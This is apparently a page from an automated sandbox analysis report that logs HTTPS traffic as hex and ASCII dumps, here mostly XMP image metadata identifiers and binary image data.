Data Ascii: did:F4B36D711121681192B0E38F7C823526</rdf:li> <rdf:li>xmp.did:F4E72BDCCE70E711B651E5FF64
EE3282</rdf:li> <rdf:li>xmp.did:F516788A463BE411AD538EE0492B24EE</rdf:li> <rdf:li>xmp.did:F51746C845
84E411A343CDBBDA28C7A8</rdf:li> <rdf:li>xmp.did:F51E9C3618206811A61

2022-06-08 07:56:17 UTC 6913 IN Data Raw: 33 36 33 43 37 31 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 
37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 33 43 31 41 46 36 45 36 39 45 30 38 35 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 38 43 36 44 42 
34 39 38 32 44 39 30 32 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 4
6 31 31 37 34 30 37 32 30 36 38 31 31 38 41 34 32 45 35 45 32 44 42 35 38 37 42 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 41 36 44 46 36 42 30 
35 44 34 31 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: 363C71C8</rdf:li> <rdf:li>xmp.did:FB7F1174072068118083C1AF6E69E085</rdf:li> <rdf:li>xmp.did:FB7F11
740720681188C6DB4982D90274</rdf:li> <rdf:li>xmp.did:FB7F1174072068118A42E5E2DB587B87</rdf:li> <rdf:l
i>xmp.did:FB7F1174072068118A6DF6B05D4179B8</rdf:li> <rdf:

2022-06-08 07:56:17 UTC 6917 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 46 
39 38 43 33 31 36 34 38 37 36 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 
37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 35 42 41 46 43 36 46 30 30 42 43 37 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 31 41 34 38 32 
43 33 30 38 39 45 30 35 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 39 
39 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 44 41 36 43 44 44 32 36 
Data Ascii: df:li>xmp.did:FD7F1174072068119457F98C3164876C</rdf:li> <rdf:li>xmp.did:FD7F117407206811
A5BAFC6F00BC79B8</rdf:li> <rdf:li>xmp.did:FD7F117407206811B1A482C3089E0569</rdf:li> <rdf:li>xmp.did:
FD998CB20720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:FDA6CDD26
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2022-06-08 07:56:17 UTC 6933 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 36 32 30 32 65 38 37 2d 30 35 63 31 2d 61 61 34 37 2d 62 63 
65 61 2d 66 65 35 31 65 33 31 37 37 32 66 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 63 36 34 61 33 62 31 33 2d 65 31 36 32 2d 34 32 61 63 2d 39 33 62 31 2d 62 34 34 30 61 31 33 32 32 66 66 64 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 37 36 38 62 66 66 31 2d 39 66 61 39 2d 
30 64 34 35 2d 62 38 61 34 2d 61 61 36 61 33 34 38 32 61 30 38 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 63 37 61 65 38 32 64 66 2d 33 65 34 63 2d 34 38 61 32 2d 62 31 34 62 2d 35 64 38 38 66 64 
37 30 37 65 63 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
Data Ascii: df:li>xmp.did:c6202e87-05c1-aa47-bcea-fe51e31772f9</rdf:li> <rdf:li>xmp.did:c64a3b13-e162-42ac-93b1-
b440a1322ffd</rdf:li> <rdf:li>xmp.did:c768bff1-9fa9-0d45-b8a4-aa6a3482a084</rdf:li> <rdf:li>xmp.did:c7ae82df-3e4c-
48a2-b14b-5d88fd707ecb</rdf:li> <rdf:li>x

2022-06-08 07:56:17 UTC 6949 IN Data Raw: 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 39 31 36 36 38 63 32 2d 30 38 34 39 2d 34 30 33 62 2d 38 
35 64 63 2d 62 36 37 31 65 38 30 37 37 31 66 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 66 39 62 39 30 61 30 64 2d 66 61 65 66 2d 34 64 66 31 2d 61 66 64 65 2d 34 63 61 39 65 39 61 37 35 38 64 30 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 39 63 66 65 66 63 62 2d 62 31 66 34 
2d 65 66 34 61 2d 38 36 65 63 2d 34 64 63 65 66 37 32 31 38 35 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 66 39 66 34 33 33 37 31 2d 38 34 39 65 2d 34 66 30 30 2d 61 61 61 39 2d 35 31 66 64 61 
35 32 39 61 30 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
Data Ascii: rdf:li>xmp.did:f91668c2-0849-403b-85dc-b671e80771ff</rdf:li> <rdf:li>xmp.did:f9b90a0d-faef-4df1-afde-
4ca9e9a758d0</rdf:li> <rdf:li>xmp.did:f9cfefcb-b1f4-ef4a-86ec-4dcef7218574</rdf:li> <rdf:li>xmp.did:f9f43371-849e-4f00-
aaa9-51fda529a083</rdf:li> <rdf:li>

2022-06-08 07:56:17 UTC 6957 IN Data Raw: 40 53 54 1a 80 d0 25 34 05 35 50 68 0d 14 94 d0 2d 34 08 46 88 29 a0 4d 01 4a 68 0a 68 0a 68 0a 68 0d 02 
53 ea d0 1a 02 9a 02 9a 00 68 0d 01 a0 34 09 4d 10 ba aa 29 a0 35 10 9a 03 45 1a a0 d1 06 a0 29 aa 12 9a 03 40 53 40 
68 a3 44 14 d0 14 fa f4 05 34 06 81 34 05 34 05 34 06 80 a6 80 d0 14 d0 14 d0 14 d0 04 68 0a 68 0a 68 0a 68 03 a0 34 0
9 e1 a0 29 a0 34 05 34 07 86 80 a5 34 05 34 09 a0 29 4d 02 d3 54 14 a6 a0 4d 14 6a a0 d0 1a 03 40 68 0d 02 68 17 50 
26 a8 34 0b a0 4d 02 e8 12 9a 03 40 68 0d 01 a0 34 06 80 d0 14 d0 1a 03 40 7f 6e 80 d0 1a 03 44 14 d1 5f ff d4 e8 5a fd 
2b e0 0a 68 12 9a a0 1a 02 9a 02 9a 02 9f 4e 80 d0 25 34 0b 4d 02 53 40 11 a2 12 dd 14 53 40 7e cd 10 78 e8 12 9a 02 
9a 04 a6 80 a6 81 74 09 a0 29 a2 13 40 68 16 9a 03 40 53 40 94 d0 1a 04 
Data Ascii: @ST%45Ph-4F)MJhhhhSh4M)5E)@S@hD4444hhhh4)4444)MTMj@hhP&4M@h4@nD_Z+hN%4MS@S@~xt
)@h@S@

2022-06-08 07:56:17 UTC 6973 IN Data Raw: d6 c5 b6 df b3 41 26 4d ee c1 e1 8a 3b d5 52 96 c7 11 76 75 51 e4 58 db b7 d3 77 3a df cb d5 ae 59 ae 9c 29 
f2 cc bb d6 fc f8 b8 d2 13 02 40 d2 ca 45 45 d1 1b 3b 91 a8 4b 5d 1a ff 00 2b f6 dd a3 f3 6b ae 92 e1 8d af 2f 18 7b 54 b2 
81 3c 91 b0 8a 3b bb 51 20 a5 80 16 4c 9b a4 4e 5e 6e e3 24 51 33 af 69 2d be f9 6d 5d 28 63 73 c0 cb 58 53 23 22 37 
b5 59 11 31 90 9e e2 35 12 c6 f9 7f 2e a3 96 c5 e6 92 de a9 3d 7b 8c 54 48 65 66 c5 18 fb ad 20 9f 1a e9 65 48 c9 0c 8b 
23 0a 36 4b 8b 94 bb 5d c9 8f e6 5f 8b a2 59 cf 0d 4b c7 2a 28 f7 fd 9c e7 2a 86 92 31 25 4d 64 a9 0f 51 db 4e 23 c2 de 
6b 79 39 1d ff 00 77 a7 9b 86 3d 44 7f 76 e7 62 36 45 96 18 a2 a0 ac 2a 07 1e 51 d3 c2 c5 5b bd 37 b5 be 9d 76 fc fa 63 
7e d0 d3 74 68 b1 5f 0f 07 1d 84 91 82 1d d9 38 d6 87 ee 
Data Ascii: A&M;RvuQXw:Y)@EE;K]+k/{T<;Q LN^n$Q3i-m](csXS#"7Y15.={THef eH#6K]_YK*(*1%MdQN#ky9w=Dvb6E*
Q[7vc~th_8

2022-06-08 07:56:17 UTC 6989 IN Data Raw: 6a f8 8b 57 97 97 f8 75 99 95 b8 3f 26 e4 b1 82 15 f8 83 42 a4 57 80 a7 25 dc bd 3e ae 8e 6f 87 5a cb 3e 55 
91 60 c7 14 f2 cd 34 9d e7 97 9a 46 7a 00 89 c7 b4 91 8e 94 e7 ba df e3 ea d6 a6 a9 76 57 af b7 d7 3d 84 b9 b1 88 12 da 
05 57 2c a6 aa 55 ee b9 57 a7 a7 97 f9 77 37 f3 35 8d b5 6e 6c cc ef fb d4 de e3 ca 7f 6e 62 80 9b 7d 11 f2 a5 8e 95 58 
a9 d0 47 42 df 75 b1 2f 57 c3 a6 bd 25 78 dd 58 ee af f9 2d b1 19 31 36 ea 5a 4f 2c 6f 30 68 d7 1e 2b d7 9b b4 89 7b 4d 
6f db f4 dd 67 0a 99 9d 92 bb 76 d9 3d 53 f3 7b 8e 6b 5c 52 b5 b8 81 db 75 6f f2 b1 d1 af ed 72 f4 7c 5a 99 4c 17 66 c6 c7 
c6 74 83 24 a9 9a 78 48 5a a9 63 db b8 92 a8 a3 f9 4a 56 e9 64 6b 7b 9f 7a dd 5c aa 76 d3 1a 41 9b d9 66 7a 84 08 5a 
4e 67 54 ab 2f 69 42 15 fc ba b3 fc c9 1b 99 ae d6 a6 df 
Data Ascii: jWu?&BW%>oZ>U`4FzvW=W,UWw75nlnb}XGBu/W%xX-16ZO,o0h+{Mogv=S{k\Ruor|ZLft$xHZcJVd
k{z\vAfzZNgT/iB

2022-06-08 07:56:17 UTC 6996 IN Data Raw: 34 84 dc dd c5 88 a3 d5 a4 00 93 61 55 5e 5f 2d e1 55 bd 2f d7 ab ac 5a a2 c0 8e 7c fc d4 de 4a ae 2c 30 c8 
4b c4 e2 d7 35 2c 52 3e e4 88 b1 34 68 79 ef b7 b5 ff 00 a9 63 6b 5b 7d 24 1b d6 e0 d2 e6 c3 92 a5 84 30 3b 3b a2 29 a9 
0a 3c ab 4b 2f 7b 87 f3 1d 5d 35 8e 9b c1 9d de 79 30 8b e5 18 93 f3 4d e2 a1 0b 00 8c 03 db 32 ff 00 ae de ae 57 f9 bd 
3a ba 6c 96 2a f6 5d b7 3b 36 39 13 31 d9 b1 66 0a f1 ac 94 2b 72 2d d2 3a f6 57 95 7a 97 b6 bf e5 73 fa 75 9b fa b5 34 
5d 97 4d bb 6d 92 36 76 91 22 66 66 b8 dc e6 83 b7 67 29 5e 93 d2 bf b8 cb ae 7f fa 74 e9 41 89 83 04 92 c7 1a dc d3 cf 
69 34 05 d7 c1 85 d4 fc 38 a4 57 6b 55 65 77 b3 ad f5 33 83 0f 45 f2 70 3f e9 b7 02 92 e3 c6 ea d1 da 14 cb 18 3f 31 bb 
33 f2 f6 e5 6b 59 16 db d1 91 7a b5 af 79 e1 3c 7c ab f7 
Data Ascii: 4aU^_-U/Z|J,0K5,R>4hyck[}$0;;)<K/{]5y0M2W:l*];691f+r-:Wzsu4]Mm6v"ffg)^tAi48WkUew3Ep??13kYzy<|

2022-06-08 07:56:17 UTC 7012 IN Data Raw: fc b7 a5 f9 97 ef dd ae b2 6b 5c f9 4f fc cc b2 2c 69 08 8d b2 24 4e 20 c6 42 06 b4 aa aa 5e 2f b5 6d ea 17 bf 
27 93 5c e5 96 b5 8e 1e 9b 30 24 08 99 0f 7e 6d 80 b2 46 a2 d5 70 28 d2 5b c3 ad ee b6 fb 17 57 6b 21 ac b5 13 33 26 
e5 58 a3 42 97 d0 95 b8 dc e4 fe 25 e2 16 f4 ff 00 94 fc 9e 4b 75 99 ba dd 2b cc 59 f8 d1 42 b0 42 ad 8c 91 bd a1 e5 14 
8d 79 49 a3 3b 04 f9 6f d0 89 e6 b7 f7 b3 76 cb 53 55 5e 5f bb f6 f8 31 1d cb a4 89 18 2e 52 26 01 c3 21 a4 ab c2 f6 47 a3
59 cb f6 b4 9b de b0 5d 3f 93 2d ee c8 77 08 ac c3 96 93 28 67 2b 50 a2 a5 4f 71 fb 54 e7 8e 19 7d 76 75 f2 fa b5 ad a9 
23 0b b0 7e b2 3c f9 8d 8d 91 da 8b 05 cd c8 d3 39 2c 8c 01 b9 95 94 51 bb ae dc df 2e c5 bb 5a ba dc 70 cc c6 79 33 be 
7e a4 6e 72 c4 ff 00 fb 71 02 e3 63 06 66 b2 d5 e0 cc 
Data Ascii: k\O,i$N B^/m'\0$~mFp([Wk!3&XB%Ku+YBByI;ovSU^_1.R&!GY]?-w(g+POqT}vu#~<9,Q.Zpy3~nrqcf

2022-06-08 07:56:17 UTC 7028 IN Data Raw: a3 e5 b4 48 3a a4 7f 97 17 76 de 5e a5 7b 13 5b b3 e1 9c 97 71 82 6e f8 93 36 0e f8 8d 5d f1 21 87 c4 87 e4 
69 64 6f a5 2f e4 56 5e df 57 2c 8f 26 ba 4e 99 ad 36 db 14 7b 8c 12 ee f9 08 a3 36 00 d1 e3 31 7a a4 41 4c 96 52 db 93 
b9 15 cd 75 aa dc 8b 1a e9 96 70 89 b6 e4 a8 56 c5 19 05 e7 c1 b7 bd 22 02 2b 27 28 32 fc c3 63 25 53 d1 cc bd ce 86 
d4 b3 0b 9c ab 3d bb 8b 16 46 61 56 95 92 28 e4 94 c8 55 45 1f 87 cf 5e e3 0b e5 8e 25 ba cb 7c fc 9d 5a d6 13 2f 3b 7c 
b3 4d 95 3e f1 95 03 43 8f 12 7e 5e 1e e1 32 80 05 6f 2e fd 55 93 cd 6f 2b f5 73 6b 36 2c 56 6c f8 39 b1 e4 cd 9d 12 ac 7b 
86 79 b6 e9 16 86 32 ad 1b 34 89 5b b9 39 25 6f 8e f5 e5 6d 6e de 30 cc 8a 2d c7 0f 23 dc 39 91 6d b0 f3 1e ed b1 13 5e 
68 1b 99 f2 08 e4 4b 52 d5 45 e5 4e 9f b1 a4 9f 26 5b 34 
Data Ascii: H:v^{[qn6]!ido/V^W,&N6{61zALRupV"+'(2c%S=FaV(UE^%|Z/;|M>C~^2o.Uo+sk6,Vl9{y24[9%omn0-#9m^
hKREN&[4

2022-06-08 07:56:17 UTC 7036 IN Data Raw: 38 10 b1 20 12 e5 57 a1 55 a3 f3 07 74 ee c7 77 e2 fc bb 5b af 49 32 97 84 7d a7 1a 38 1f fa d6 55 c9 92 c8 
cc 17 c2 50 5a db 90 25 6a cf 7c 89 d7 d5 cc df 63 48 6e 5c 51 89 92 fb f6 ec e0 19 24 58 60 c6 8c 1a 29 7a 70 73 1d d7 
3c 69 2d 9c bd 37 cb 66 99 30 93 b6 e7 43 1e 5c fb 84 c6 fc 82 5e 20 ca 40 45 6a dd d9 27 a7 bb 3b 32 74 fc b5 b1 16 ee 
9d 12 b3 d8 59 2b b1 67 9d fb 73 90 f6 73 02 63 c4 8c 01 ee 44 85 57 f3 9c dd 21 5b e6 46 bd 72 5e fe 5e ae 92 67 84 ad 
d6 13 c5 0e 34 73 ba 2f 6d 03 4a 2f a0 15 b9 bb 53 65 c9 c1 7a 1e f8 a3 e9 eb 92 ce 48 f5 25 66 c4 64 dc a0 9a 26 da 88 
59 44 ed c8 05 56 37 45 ba 45 45 23 f9 4a dc b2 cd c9 7c 71 c9 d5 6a ea da 98 55 7b 97 3a 4c 4c b5 c5 c2 4b f3 32 24 6e 
f1 35 02 d5 2b 33 4a 9e b9 97 e5 fd 98 12 d7 b7 cb 8d 7f 
Data Ascii: 8 WUtw[I2}8UPZ%j|cHn\Q$X`)zps<i-7f0C\^ @Ej';2tY+gsscDW![Fr^^g4s/mJ/SezH%fd&YDV7EEE#J|qjU
{:LLK2$n5+3J

Timestamp
kBytes
transferred

Direction Data

Copyright Joe Security LLC 2022 Page 140 of 211



2022-06-08 07:56:17 UTC 7052 IN Data Raw: ec fb 76 3e 44 d3 6f fb 98 62 cb 64 d0 e3 93 71 a0 56 30 ca fd b0 d7 16 5f c3 bb a3 f1 7d 3a d6 7e 13 0b 3d 93 
19 f7 89 93 76 dc 2b 0e 33 c3 d9 48 81 e2 6e 61 dd 76 b7 ca 6c b5 64 bb e6 dd cb 6a 5b 72 e2 24 59 ee 5b 46 2c f1 b2 ce 
8b 2c 00 a9 8e 1a f2 d0 55 63 52 9e 9b ff 00 f4 d5 23 d6 62 e5 86 fe a4 bb ae 4b 7e 65 10 c5 83 ce b4 a8 2a 56 35 ed b5 
96 ac 5e 9e df 6d 64 be 38 ff 00 0b cf ad a7 6d 94 8b 1e 56 21 c5 ee 37 e5 92 14 2e ea 68 c0 28 b2 c5 90 b7 06 7f e7 37 
5f 6d ad d4 94 b1 53 14 c3 dc 73 c1 1c 2f db db 95 7b 8c 10 95 52 a8 51 1a 24 14 e4 55 3e 8e b9 3a be 25 fa 0d 7b f7 dc 
50 22 3e d7 0b 33 4f 96 d1 22 c7 10 e6 24 30 59 3b 4f d0 9f 2f 91 ae 5f 56 b7 a6 ac da f5 8d 8e 8b 8c 36 94 86 d6 93 e6 
14 73 56 b1 da d8 04 b2 1b af 66 b2 49 5f 95 ec bb a7 
Data Ascii: v>DobdqV0_}:~=v+3Hnavldj[r$Y[F,,UcR#bK~e*V5^md8mV!7.h(7_mSs/{RQ$U>:%{P">3O"$0Y;O/_V6sVfI_

2022-06-08 07:56:17 UTC 7068 IN Data Raw: 41 11 94 f9 75 e9 1c 2a 7f f9 ea e5 30 6a 39 9e 57 29 21 2e 01 ad c4 f3 12 3f b3 95 46 b3 da 9e 87 19 0b 03 
25 6d a5 3f 69 d3 05 a9 73 ce ad 1d b1 47 6a 0f db c4 ff 00 6e b5 6f 0c c8 65 65 be 3a 96 08 89 e2 69 53 fd 8b ac fc 35 
85 75 b3 ca 86 31 92 16 35 92 b7 53 c9 c1 bc df ce 7e 54 e7 e4 fd e5 d7 3e f8 74 58 a9 89 23 06 35 a2 15 25 56 ee 26 a4 
f3 fd 3c cf 23 75 33 5d 6f a7 57 28 a9 96 29 a1 9a f9 dc 32 a4 64 15 1e 52 45 4d 9f 01 4e a6 6d 63 a7 49 c9 b9 62 58 d9 
0c bc 24 6b 68 4f 06 3c 41 e6 f4 db fe 9f 14 09 32 14 90 db 2d ed 71 f0 61 5e 1d 08 b5 e1 62 d7 9b cd fe 66 b5 84 cb ce 
46 1c 70 b5 b5 b8 ad cd 65 59 b8 9a 16 bd f9 ae 93 ae cb bd 28 9a d7 96 72 cd 6e bb ae 54 0c 99 18 0b 4e f4 80 b3 4c 39
80 1c d5 41 d2 97 2c 7e 8b 95 7e 2d 6a 44 b5 47 9f bc e7 
Data Ascii: Au*0j9W)!.?F%m?isGjnoee:iS5u15S~T>tX#5%V&<#u3]oW()2dREMNmcIbX$khO<A2-qa^bfFpeY(rnTNL9A,~
~-jDG

2022-06-08 07:56:17 UTC 7076 IN Data Raw: 71 0c 63 e7 34 80 41 93 19 83 1d 6d 52 2d ab c8 54 51 a0 58 13 91 52 de 45 b5 9b b4 9d 5a 99 fb 54 ec 6d d5 
b7 ac a9 f0 31 08 44 80 a7 76 65 aa a0 f3 46 89 e7 a4 68 bd 3f 13 6b 73 96 6e 35 5c e4 63 c5 81 00 58 59 04 34 a9 0e 68 
00 35 67 a8 1d 5f e9 76 a6 d3 06 b7 2c d6 e1 be ca b9 b1 6d b8 16 3b c8 8f 29 62 47 01 43 65 d7 5d e2 d6 f9 7a 3a 35 cf 
0e 86 8e 3a cf 2d b3 95 93 29 92 f3 25 f5 51 c0 2b 76 a3 fa af f8 af e6 e6 7e 6d 4f 34 ca 7e 67 b7 e4 40 7b ac bc 2d b6 27 
04 a7 a7 9e c2 2f 1f 6b a6 db f5 bc 58 cf ac 9b dc cb 2a f6 b1 ad 43 72 10 43 56 8b c2 97 2b 15 fd d5 6d 3b 54 7d b7 23 
23 25 5d 63 84 4a 1a de fb 30 20 35 41 56 32 35 2d 6b 3a 7b 6b cc f7 5d f8 6d a9 0a b3 9e 58 f1 9c 43 1a b4 93 32 18 e2 
89 01 20 05 f2 7c 2a a7 9e c6 55 d2 c4 95 57 ba cf f9 
Data Ascii: qc4AmR-TQXREZTm1DveFh?ksn5\cXY4h5g_v,m;)bGCe]z:5:-)%Q+v~mO4~g@{-'/kX*CrCV+m;T}##%]cJ0 5A
V25-k:{k]mXC2 |*UW

2022-06-08 07:56:17 UTC 7092 IN Data Raw: 9f e9 cb a2 1c fc bb e6 0e e1 25 4a 9a 9a 0a 54 fc 43 c3 53 b6 b3 87 9c 7c 75 32 19 83 a3 83 f5 1a ff 00 b3 9f 
53 06 4e 49 b9 34 31 19 a4 50 a2 33 c4 b5 00 f1 fa cf 3a df f7 b5 ac b3 61 dd a7 22 39 55 1c a2 a5 b5 2a 58 96 22 be 97 
f2 ab 7a 75 72 98 3e ae 0f 44 80 2f 81 3f b7 fb 57 53 26 10 96 51 12 93 45 ee 31 24 9f a2 be 00 b5 cd cd a9 6b 58 2c d9 
e5 2c 8d d9 2e 62 14 56 a2 bc 3a 56 d1 4a 7f a5 da 76 74 91 3c ee a8 b5 16 80 28 58 2f 87 c5 cf cb a6 07 80 f2 c8 0f 78 
2d 50 90 2b 68 20 13 ca 2e e6 1c d5 5f a7 9f cb 6e b5 75 a9 2c 2c 6e 5e a0 57 89 3c 54 b0 f0 f2 f8 2f a7 a5 5b 52 6a 64 
da e6 07 2c b8 eb dc 28 3d 42 e3 f4 f0 4f 4b 53 57 ca 7a 3b 1c 84 c6 63 22 c9 aa 2c 42 cb 6d 0f 51 bb 91 7a 75 a9 ab 3e 
8c c9 90 d8 52 fe 5b 21 48 2e 39 0a 44 c4 1f a2 db f8 
Data Ascii: %JTCS|u2SNI41P3:a"9U*X"zur>D/?WS&QE1$kX,,.bV:VJvt<(X/x-P+h ._nu,,n^W<T/[Rjd,(=BOKSWz;c",
BmQzu>R[!H.9D

2022-06-08 07:56:17 UTC 7108 IN Data Raw: 7d 24 7b 83 1e 74 c7 4c 1c fc 89 a3 86 7e 66 99 28 d7 70 63 64 9d be 5b 38 7c b4 45 ea f3 69 ad e7 85 a8 3b 
06 c9 17 e5 de 01 8c f0 5a 03 77 e6 90 47 dc 1d 4b f2 d6 d9 13 d4 b7 c9 d3 ab be c9 ac 5c 49 83 07 b7 a6 1d 98 d6 34 ec 
da ec 1e d0 c0 fd 51 2b f1 5e 5f c5 55 b5 b5 8c e5 ac 60 ce 57 b8 61 78 1e 58 b1 89 8d 6e 49 16 05 76 57 76 1c 59 7b 89 
ca b6 af 35 bd cb 2e d5 f2 9e 88 32 f2 b2 b0 22 ec c5 3e 08 0c 5d 18 35 4b 02 79 44 78 8c 63 6f c4 5f c5 ed f9 6f b3 4c 49 
7e cc aa b1 61 cc dd 37 24 9f 1a 11 14 40 d2 56 64 14 92 df 17 92 eb 14 33 78 49 c7 ef eb 77 89 cb 3f 2d 16 06 de ad 33 
a2 48 70 f2 22 61 77 69 2c 8d a8 43 25 65 69 27 e9 fb 37 23 37 a3 5c eb a2 2b c3 ba 6d f2 34 a4 c5 3e 13 bd 02 89 18 b3 
07 a2 bb 8e d9 8c 7a 51 da ce 5d 27 2c f4 97 8f ed c9 
Data Ascii: }${tL~f(pcd[8|Ei;ZwGK\I4Q+^_U`WaxXnIvWvY{5.2">]5KyDxco_oLI~a7$@Vd3xIw?-3Hp"awi,C%ei'7#7\
+m4>zQ]',

2022-06-08 07:56:17 UTC 7116 IN Data Raw: 38 f9 c5 48 8f 20 04 4c 34 95 ab 19 b9 c5 c6 8c 7e 80 7e 0f 56 b9 f9 74 95 65 f9 a4 cb 65 39 64 64 2d ec e4 50 
0e 02 95 4f 93 db 3c df f2 ed d6 2e 9f 4d fa 33 91 81 dd a4 90 10 84 57 85 c6 e5 a0 f5 72 bf 01 f1 36 a6 15 2b 0b 6e 8b 35 
04 70 2d f2 56 fa 21 ab 11 c0 0e 57 a3 39 3f 0f 3f da d4 ce 17 b3 b9 5e ce 5d ba 77 2d 20 69 10 a8 78 cf 52 31 0c 6c b1 
be 95 09 cd 77 2a b7 2e ac fd 72 97 f3 c3 c6 2e de 92 3f 69 5c 2b 21 ea a7 13 a8 1e c0 c3 ca da 65 19 58 ed c6 32 48 bb 
98 7e eb 0d 4d a6 5a 8d fe cb fa 8a 56 35 32 24 b9 19 8a ac 07 75 ae 52 de 5a 04 55 ed 5b ff 00 32 ed 71 ba 35 94 31 34 
e3 3f f3 8c 55 27 49 07 e6 71 61 5b 4f 37 81 84 23 b4 73 af ae d5 f8 ba b5 78 45 de 06 3e e1 92 64 81 f1 17 1a 16 2b db 
0c ce 81 c3 dc c7 e6 2b f9 3c c9 75 d7 74 79 b5 8b 
Data Ascii: 8H L4~~Vtee9dd-PO<.M3Wr6+n5p-V!W9??^]w- ixR1lw*.r.?i\+!eX2H~MZV52$uRZU[2q514?U'Iqa[O7#sx
E>d++<uty

2022-06-08 07:56:17 UTC 7132 IN Data Raw: de 9e 5b 59 ed f3 5b d3 ab 9c 1e 55 b8 be e2 8a 7e ce 23 3d b3 29 05 f8 2a 5e 09 ff 00 2d d7 fd 39 74 bb 1e 
4e 6e 78 c3 39 1a 0c 66 ed cc cc 08 90 78 8b 48 36 df ff 00 33 9b cd cc ba cf ac 35 83 31 ee 53 26 54 98 5d a7 c5 2b c5 
a7 e0 d5 a0 eb 00 92 cc 7a 55 7d 5e 5f 86 da 61 ff d7 e0 be df db b2 52 5e eb 14 8a d4 a5 42 f8 d4 8f a5 75 e8 d6 e1 6c 
ca d1 7d b4 a5 da 68 aa ca 80 92 e4 1a 1a f5 d6 be 9d 5a b8 4d da f3 67 db 64 03 12 76 47 5a a9 2a b5 06 b5 4b 4f fa ae 
fd ed 62 e9 1b 9b 56 be 0c 8d df 07 1d a3 ca 89 e2 4c 88 c3 32 a9 2a d6 16 e5 66 84 17 b1 1c f3 79 2e 7e 74 5d 79 fd eb 
9c 3b 4d 6a e7 13 73 93 69 86 f9 31 23 8f 15 a6 57 92 f5 50 65 2a a5 28 8b 49 12 4f c5 ee 4a f6 5d dc b1 f5 2e da de 96 
eb 54 f9 18 59 b9 d9 2b 99 34 4f 3e 30 42 a9 22 82 02 c6 
Data Ascii: [Y[U~#=)*^-9tNnx9fxH6351S&T]+zU}^_aR^Bul}hZMgdvGZ*KObVL2*fy.~t]y;Mjsi1#WPe*(IOJ].TY+4O>0B"

2022-06-08 07:56:17 UTC 7148 IN Data Raw: d3 d9 2f cb 19 bd ed 98 90 31 86 56 67 cc b4 08 8d ca 04 8a 07 39 31 c6 2f 95 56 8b c2 61 65 bf 7e de ba ed 
53 68 73 dc d6 47 10 8f 3f 21 ab 9c 81 c2 80 5c d7 88 be 41 6d d7 a7 96 2f e3 7d 74 fc f9 73 db 87 2d db d3 72 d9 f2 dc 
c7 23 40 1a 84 b1 0c 14 13 e0 d7 2d 0a 7a 6f f4 f9 75 ea db 16 38 4c ca e9 89 bb ed 7e d3 92 08 77 1c 99 33 9d 11 25 57 
c7 25 87 30 ee 24 57 56 fe df a3 99 3a f9 e3 d7 8b 69 76 e9 ea 96 6a b6 db 73 b7 5c a9 e3 cf 9e 0f 97 32 33 03 52 a2 34 
a1 7e e1 66 b5 af 09 7f 4d cd fc bf 36 b1 c6 1a e5 e7 61 dc f7 c9 32 40 91 62 64 07 82 1b 96 75 43 c3 bb c9 09 b4 05 92 
d5 3f e2 d6 ee 23 1c b4 59 1b ce 3f b7 a0 59 27 c7 c8 81 14 00 72 23 71 2d c4 16 a5 b8 f2 f3 2b 35 df 31 79 9b 59 c4 bd 
16 d8 ca ee 12 6e f8 6c fe e1 da a7 67 c5 76 05 62 9a 30 
Data Ascii: /1Vg91/Vae~ShsG?!\Am/}ts-r#@-zou8L~w3%W%0$WV:ivjs\23R4~fM6a2@bduC?#Y?Y'r#q-+51yYnlgvb0

2022-06-08 07:56:17 UTC 7155 IN Data Raw: 71 f2 87 5a 92 dc f0 be 30 1d c7 46 64 6e ef 22 37 73 d5 cc da 78 92 a5 da d4 5d f7 32 2d df 25 67 db d2 2c c6 
